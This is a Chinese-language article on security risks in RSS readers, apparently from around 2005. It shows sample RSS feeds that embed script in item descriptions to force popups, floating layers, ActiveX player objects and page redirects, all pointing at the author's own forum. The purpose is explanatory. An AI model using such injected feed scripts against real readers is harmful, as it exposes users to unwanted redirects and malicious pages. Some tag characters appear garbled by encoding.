[粗]RSS潛在安全隱患探討

2010-08-28 10:47:45來(lái)源:西部e網(wǎng)作者:

  又是楓紅葉落金秋時(shí),秋風(fēng)漸起,帶來(lái)的除了飛舞的落葉與陣陣寒意,還有CEO們期盼著以web 2.0這個(gè)定義模糊的概念帶來(lái)利益的希望。在此,天緣姑且拋開(kāi)以用戶為主導(dǎo)的web2.0不談,只就其中的一個(gè)重要組成部分——目前已經(jīng)比較廣泛使用的RSS技術(shù)與各位朋友作簡(jiǎn)單地探討。

  RSS是以xml技術(shù)為基礎(chǔ),以聚合信息為目的進(jìn)行信息表現(xiàn)的一種技術(shù)手段。其發(fā)展到目前,有多個(gè)版本及派生,比如ATOM等。隨著對(duì)信息內(nèi)容處理/包含的多樣化,RSS的設(shè)計(jì)者將其功能與以加強(qiáng),支持了js,ActiveX等多樣豐富內(nèi)容及處理表現(xiàn)的技術(shù)。而我們?cè)谙硎苤絹?lái)越便利的信息獲取的同時(shí),安全隱患的潘多拉盒子卻慢慢地開(kāi)啟了。

  下面,就讓天緣帶著大家一起,用一個(gè)個(gè)簡(jiǎn)單地小例子,將RSS的隱患一一暴露出來(lái)吧。破壞RSS在大家心目中美好的期望并不是我所愿意的,但“不破不立,破而立之”。能在RSS更廣泛流行之前,把問(wèn)題暴露出來(lái),總比事后補(bǔ)救更好一些呢。

   1.Web網(wǎng)頁(yè)有繁人的彈出窗口,RSS能避免掉嗎?

  在瀏覽網(wǎng)頁(yè)的時(shí)候,第一討厭的就是彈出的廣告窗口,那么在RSS中,我們是否就可以靜靜地閱讀文章而不受打擾呢。愿望是美好的,現(xiàn)實(shí)卻是殘酷的,看看下面的一個(gè)小例子:

<?xml version="1.0" encoding="gb2312" ?> 
<rss version="2.0">
<channel>
。紅itle>伊人有約 喜歡稀飯BBS</title>
。糽ink>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
 <description>拒絕浮躁,讓我們沉寂下來(lái)認(rèn)真學(xué)習(xí)</description>
。糲opyright>Copyright(C)喜歡稀飯BBS</copyright>
。糾anagingEditor />
。糽anguage>zh-cn</language>
 <ttl>10</ttl>
。糶enerator>喜歡稀飯BBS</generator>
。糹tem>
<title>
<![CDATA[ 測(cè)試 ]]>
 </title>
<description>
<![CDATA[<font color='red' onMouseOver="javascript:window.open('http://skylove.study-area.org');">一個(gè)測(cè)試,把鼠標(biāo)移動(dòng)上來(lái)吧.</font>]]>
</description>

 <link>http://skylove.study-area.org/bbs/read.php?tid=752</link>
。糲omments>http://skylove.study-area.org/bbs/read.php?tid=752</comments>
 <guid>http://skylove.study-area.org/bbs/read.php?tid=752</guid>
<author>
<![CDATA[ skylove ]]>
。/author>
。約ource url="http://skylove.study-area.org/bbs/read.php?tid=752">喜歡稀飯BBS</source>
。紁ubDate>Mon, 10 Oct 2005 11:50:08 +0800</pubDate>
<category>
<![CDATA[ 伊人有約 喜歡稀飯BBS ]]>
 </category>
。/item>
</channel>
</rss>

  以上的文本,請(qǐng)保存為一個(gè)xml文件,之后在rss瀏覽器中打開(kāi)就能看到效果。當(dāng)鼠標(biāo)移動(dòng)到那行文字的時(shí)候,竟然新開(kāi)了一個(gè)web頁(yè)。當(dāng)然,在此例中我所指向的是一個(gè)安全的地址。然而,如果是一個(gè)惡意的rss文件,打開(kāi)的是一個(gè)含有惡意代碼的web頁(yè),那樣會(huì)如何呢?相信結(jié)果大家都能想到了。 在rss中,允許利用<![CDATA[ 和]]> 包含按原格式輸出的html文本,本身是為了豐富頁(yè)面元素,允許方便地用html的元素來(lái)規(guī)定字體,顏色,圖片顯示等元素。由于是對(duì)html代碼進(jìn)行解釋,因此,大多的RSS瀏覽器在設(shè)計(jì)的時(shí)候,對(duì)這部分元素的解釋,直接采用調(diào)用ie瀏覽器內(nèi)核的方式來(lái)完成。由此造成了css和js代碼也可以被方便地解釋執(zhí)行——“劍本雙刃,為仁為惡,存乎一心! 但由此帶來(lái)的問(wèn)題是——比直接ie瀏覽web頁(yè)面更糟糕的是,很多RSS自帶的web瀏覽功能中,是沒(méi)有帶惡意javascript腳本過(guò)濾功能的,因此相對(duì)于ie那比較糟糕的防御而言,RSS則更是心不設(shè)防。同樣類似的例子是outlook等郵件客戶端在瀏覽多媒體郵件時(shí)候帶來(lái)的麻煩,不過(guò)現(xiàn)在outlook的漏洞已經(jīng)被微軟patch了。而眾多RSS瀏覽器,由于不是微軟出品或是windows捆綁,就只好期待各瀏覽器的軟件作者盡快更新此類功能了。 所幸的是截至截稿時(shí)候?yàn)橹梗炀壦褂玫腉reatNews RSS瀏覽器已經(jīng)加上了彈出窗口屏蔽地功能。

  2.象牛皮蘚一樣的漂浮廣告在RSS時(shí)代是否終結(jié)了呢?

  漂浮的廣告總是在我們?yōu)g覽網(wǎng)頁(yè)的時(shí)候,阻擋著我們的視線,曾經(jīng)在RSS初出的時(shí)候,我們認(rèn)為找到了救星,那么是否在RSS里,漂浮的廣告就會(huì)消失掉呢? 試一下以下的代碼吧:

<?xml version="1.0" encoding="gb2312" ?>
<rss version="2.0">
<channel>
。紅itle>伊人有約 喜歡稀飯BBS</title>
 <link>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
 <description>拒絕浮躁,讓我們沉寂下來(lái)認(rèn)真學(xué)習(xí)</description>
 <copyright>Copyright(C)喜歡稀飯BBS</copyright>
。糾anagingEditor />
 <language>zh-cn</language>
。紅tl>10</ttl>
 <generator>喜歡稀飯BBS</generator>
。糹tem>
<title>
<![CDATA[ test ]]>
。/title>
<description>
<![CDATA[ 
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
 if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
  document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
 else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);

function MM_timelinePlay(tmLnName, myID) { //v1.2
 //Copyright 1997, 2000 Macromedia, Inc. All rights reserved.
 var i,j,tmLn,props,keyFrm,sprite,numKeyFr,firstKeyFr,propNum,theObj,firstTime=false;
 if (document.MM_Time == null) MM_initTimelines(); //if *very* 1st time
 tmLn = document.MM_Time[tmLnName];
 if (myID == null) { myID = ++tmLn.ID; firstTime=true;}//if new call, incr ID
 if (myID == tmLn.ID) { //if Im newest
  setTimeout('MM_timelinePlay("'+tmLnName+'",'+myID+')',tmLn.delay);
  fNew = ++tmLn.curFrame;
  for (i=0; i<tmLn.length; i++) {
   sprite = tmLn[i];
   if (sprite.charAt(0) == 's') {
    if (sprite.obj) {
     numKeyFr = sprite.keyFrames.length; firstKeyFr = sprite.keyFrames[0];
     if (fNew >= firstKeyFr && fNew <= sprite.keyFrames[numKeyFr-1]) {//in range
      keyFrm=1;
      for (j=0; j<sprite.values.length; j++) {
       props = sprite.values[j];
       if (numKeyFr != props.length) {
        if (props.prop2 == null) sprite.obj[props.prop] = props[fNew-firstKeyFr];
        else    sprite.obj[props.prop2][props.prop] = props[fNew-firstKeyFr];
       } else {
        while (keyFrm<numKeyFr && fNew>=sprite.keyFrames[keyFrm]) keyFrm++;
        if (firstTime || fNew==sprite.keyFrames[keyFrm-1]) {
         if (props.prop2 == null) sprite.obj[props.prop] = props[keyFrm-1];
         else    sprite.obj[props.prop2][props.prop] = props[keyFrm-1];
    } } } } }
   } else if (sprite.charAt(0)=='b' && fNew == sprite.frame) eval(sprite.value);
   if (fNew > tmLn.lastFrame) tmLn.ID = 0;
 } }
}

function MM_initTimelines() { //v4.0
  //MM_initTimelines() Copyright 1997 Macromedia, Inc. All rights reserved.
  var ns = navigator.appName == "Netscape";
  var ns4 = (ns && parseInt(navigator.appVersion) == 4);
  var ns5 = (ns && parseInt(navigator.appVersion) > 4);
  document.MM_Time = new Array(1);
  document.MM_Time[0] = new Array(1);
document.MM_Time["Timeline1"] = document.MM_Time[0];
  document.MM_Time[0].MM_Name = "Timeline1";
  document.MM_Time[0].fps = 15;
  document.MM_Time[0][0] = new String("sprite");
  document.MM_Time[0][0].slot = 1;
  if (ns4)
    document.MM_Time[0][0].obj = document["Layer1"];
  else if (ns5)
    document.MM_Time[0][0].obj = document.getElementById("Layer1");
  else
    document.MM_Time[0][0].obj = document.all ? document.all["Layer1"] : null;
  document.MM_Time[0][0].keyFrames = new Array(1, 15);
  document.MM_Time[0][0].values = new Array(2);
  if (ns5)
    document.MM_Time[0][0].values[0] = new Array("30px", "34px", "39px", "43px", "47px", "52px", "56px", "61px", "65px", "69px",
"74px", "78px", "82px", "87px", "91px");
  else
    document.MM_Time[0][0].values[0] = new Array(30,34,39,43,47,52,56,61,65,69,74,78,82,87,91);
  document.MM_Time[0][0].values[0].prop = "left";
  if (ns5)
    document.MM_Time[0][0].values[1] = new Array("20px", "35px", "50px", "65px", "81px", "96px", "111px", "126px", "141px", "156
px", "171px", "187px", "202px", "217px", "232px");
  else
    document.MM_Time[0][0].values[1] = new Array(20,35,50,65,81,96,111,126,141,156,171,187,202,217,232);
  document.MM_Time[0][0].values[1].prop = "top";
  if (!ns4) {
    document.MM_Time[0][0].values[0].prop2 = "style";
    document.MM_Time[0][0].values[1].prop2 = "style";
  }
  document.MM_Time[0].lastFrame = 15;
  for (i=0; i<document.MM_Time.length; i++) {
    document.MM_Time[i].ID = null;
    document.MM_Time[i].curFrame = 0;
    document.MM_Time[i].delay = 1000/document.MM_Time[i].fps;
  }
}
//-->
</script>
<body onLoad="MM_timelinePlay('Timeline1')">
<div id="Layer1" style="position:absolute; width:200px; height:115px; z-index:1; left: 30px; top: 20px; background-color: #FFFF66; l
ayer-background-color: #FFFF66; border: 1px none #000000;">測(cè)試層</div>
</body>
]]>
</description>
 
 <link>http://skylove.study-area.org/bbs/read.php?tid=752</link>
。糲omments>http://skylove.study-area.org/bbs/read.php?tid=752</comments>
。糶uid>http://skylove.study-area.org/bbs/read.php?tid=752</guid>
<author>
<![CDATA[ skylove ]]>
。/author>
。約ource url="http://skylove.study-area.org/bbs/read.php?tid=752">喜歡稀飯BBS</source>
 <pubDate>Mon, 10 Oct 2005 11:50:08 +0800</pubDate>
<category>
<![CDATA[ 伊人有約 喜歡稀飯BBS
 ]]>
。/category>
。/item>
</channel>
</rss>

  以上的代碼,保存為一個(gè)xml文件,在RSS瀏覽器中看看效果吧? 能看到一個(gè)層移動(dòng)著。由此可以遇見(jiàn),漂浮廣告這個(gè)幽靈,不僅不會(huì)在RSS上消失,反而會(huì)因?yàn)闊o(wú)所過(guò)濾而更加放肆了呢。當(dāng)然,我想也有一部分ICP們很樂(lè)意看到此情形吧——因?yàn)橛c(diǎn)找到了!

  3.ActiveX

  微軟的ie之所以在很多領(lǐng)域受到歡迎,與ActiveX技術(shù)帶來(lái)的方便與實(shí)用性分不開(kāi)。但ActiveX也時(shí)常會(huì)出現(xiàn)一些漏洞。那么在RSS之中,這個(gè)令人又愛(ài)又恨的功能,是否可以被使用呢?下面的例子里,天緣試著調(diào)用了一個(gè)媒體播放器:

<?xml version="1.0" encoding="gb2312" ?> 
<rss version="2.0">
<channel>
。紅itle>伊人有約 喜歡稀飯BBS</title>
。糽ink>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
。糳escription>拒絕浮躁,讓我們沉寂下來(lái)認(rèn)真學(xué)習(xí)</description>
。糲opyright>Copyright(C)喜歡稀飯BBS</copyright>
 <managingEditor />
。糽anguage>zh-cn</language>
 <ttl>10</ttl>
。糶enerator>喜歡稀飯BBS</generator>
<item>
<title>
<![CDATA[ [喜歡稀飯?zhí)貏e版]-------<<美麗心情>>-------- ]]>
。/title>
<description>
<![CDATA[  電臺(tái)地址:<a target=_blank>http://skylove.study-area.org/ssqx/mlxq.mp
3</a><br/><br/><br/><br/><br/><br/><o(jì)bject class="OBJECT" id="MediaPlayer" width=336 height=256 classid="CLSID:22d6f312-b0f6-11d0-94
ab-0080c74c7e95" align="middle" height="256" width="314"><param value="-1" name="ShowStatusBar"><param value="http://skylove.study-a
rea.org/ssqx/mlxq.mp3" name="SRC"><embed type="application/x-oleobject" codebase="http://activex.microsoft.com/activex/controls/mpla
yer/en/nsmp2inf.cab#Version=5,1,52,701" flename="mp" src="http://skylove.study-area.org/ssqx/mlxq.mp3" width=314 height=256></embed>
<param name="AutoStart" value="1"></object><br/><br/><br/>制作剪輯:素手清弦<br/>感謝我的支持者:天緣(SKYLOVE)<br/><br/><br/><a href='
http://bbs.oodiy.com/UploadFile/2005-4/200542612595936.gif' TARGET=_blank><img src='http://bbs.oodiy.com/UploadFile/2005-4/200542612
595936.gif' border=0 alt="點(diǎn)擊打開(kāi)新窗口查看全圖" onload='javascript:if(this.width>screen.width*0.7)this.width=screen.width*0.7'></a
><br/><br/><br/>PS:因?yàn)樵O(shè)備(軟件)出了點(diǎn)問(wèn)題,導(dǎo)致聲音效果不太好,或者有些突兀,刺耳,請(qǐng)?jiān)?<br/>   ^_^
 ]]>
。/description>
 <link>http://skylove.study-area.org/bbs/read.php?tid=645</link>
。糲omments>http://skylove.study-area.org/bbs/read.php?tid=645</comments>
。糶uid>http://skylove.study-area.org/bbs/read.php?tid=645</guid>
<author>
<![CDATA[ 素手清弦 ]]>
 </author>
。約ource url="http://skylove.study-area.org/bbs/read.php?tid=645">喜歡稀飯BBS</source>
 <pubDate>Sat, 04 Jun 2005 23:41:55 +0800</pubDate>
<category>
<![CDATA[ 伊人有約 喜歡稀飯BBS ]]>
。/category>
 </item>
。/channel>
</rss>

  測(cè)試的方法同樣是保存為一個(gè)xml文件,然后在RSS瀏覽器中打開(kāi)即可。在此例中,天緣引用了一個(gè)普通的mp3節(jié)目,而如果此功能被惡意利用,那么可能被包含的就是一個(gè)有漏洞的ActiveX控件,進(jìn)而導(dǎo)致用戶的防線被撕開(kāi),埋下安全的隱患。關(guān)于利用ActiveX漏洞進(jìn)行攻擊的文章是很多的,各位朋友以“ActiveX”、“漏洞”作為關(guān)鍵字,能搜索到不少的。

   4. 頁(yè)面跳轉(zhuǎn)

  有時(shí)候,我們常常在瀏覽某個(gè)網(wǎng)頁(yè)的時(shí)候,被突然轉(zhuǎn)到一個(gè)無(wú)關(guān)甚至有害的站點(diǎn),這真的是很令人郁悶和危險(xiǎn)的事情呢。而在使用RSS瀏覽器的時(shí)候,是否也會(huì)出現(xiàn)同樣尷尬的事情呢?

<?xml version="1.0" encoding="gb2312" ?>
<rss version="2.0">
<channel>
。紅itle>伊人有約 喜歡稀飯BBS</title>
 <link>http://skylove.study-area.org/bbs/thread.php?fid=18</link>
。糳escription>拒絕浮躁,讓我們沉寂下來(lái)認(rèn)真學(xué)習(xí)</description>
。糲opyright>Copyright(C)喜歡稀飯BBS</copyright>
 <managingEditor />
。糽anguage>zh-cn</language>
。紅tl>10</ttl>
。糶enerator>喜歡稀飯BBS</generator>
<item>
<title>
<![CDATA[ [ 測(cè)試頁(yè)面跳轉(zhuǎn) ]]>
。/title>
<description>
<![CDATA[。約cript Language=JavaScript>window.location="http://skylove.study-area.org/bbs/";</script> ]]>
。/description>
 <link>http://skylove.study-area.org/bbs/read.php?tid=645</link>
。糲omments>http://skylove.study-area.org/bbs/read.php?tid=645</comments>
 <guid>http://skylove.study-area.org/bbs/read.php?tid=645</guid>
<author>
<![CDATA[ skylove ]]>
。/author>
 <source url="http://skylove.study-area.org/bbs/read.php?tid=645">喜歡稀飯BBS</source>
。紁ubDate>Sat, 04 Jun 2005 23:41:55 +0800</pubDate>
<category>
<![CDATA[ 伊人有約 喜歡稀飯BBS ]]>
 </category>
。/item>
 </channel>
</rss>

  當(dāng)天緣將此腳本在GreatNews中進(jìn)行測(cè)試的時(shí)候,毫無(wú)預(yù)警地,頁(yè)面被跳轉(zhuǎn)到了 http://skylove.study-area.org/bbs/ 上面。由此可見(jiàn),頁(yè)面跳轉(zhuǎn)的安全隱患問(wèn)題依舊是存在著的。

關(guān)鍵詞:RSS